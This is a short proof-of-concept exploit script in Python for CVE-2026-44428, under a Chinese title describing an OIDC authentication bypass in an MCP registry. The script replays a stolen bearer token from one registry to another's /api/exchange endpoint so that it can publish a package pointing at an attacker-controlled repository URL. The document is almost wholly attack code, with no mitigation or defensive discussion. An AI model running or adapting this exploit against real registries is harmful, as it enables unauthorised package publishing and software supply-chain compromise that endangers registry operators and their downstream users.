CVE-2026-44428 MCP Registry OIDC 认证绕过漏洞

# Proof of Concept for CVE-2026-44428 # This script demonstrates how a token obtained for one registry # can be replayed to another registry due to the global audience issue. import requests import sys def exploit(target_url, stolen_token): """ Attempt to publish a package using a token from a different registry. """ # The endpoint vulnerable to the replay attack endpoint = f"{target_url}/api/exchange" headers = { "Authorization": f"Bearer {stolen_token}", "Content-Type": "application/json" } # Malicious payload intended for the target registry data = { "name": "exploit-package", "version": "1.0.0", "repository_url": "http://attacker-controlled-repo.com" } try: print(f"[*] Sending replay attack request to {endpoint}...") response = requests.post(endpoint, json=data, headers=headers) if response.status_code == 200: print("[+] Success! The registry accepted the token from another instance.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python poc.py <target_registry_url> <stolen_oidc_token>") sys.exit(1) TARGET_URL = sys.argv[1] TOKEN = sys.argv[2] exploit(TARGET_URL, TOKEN)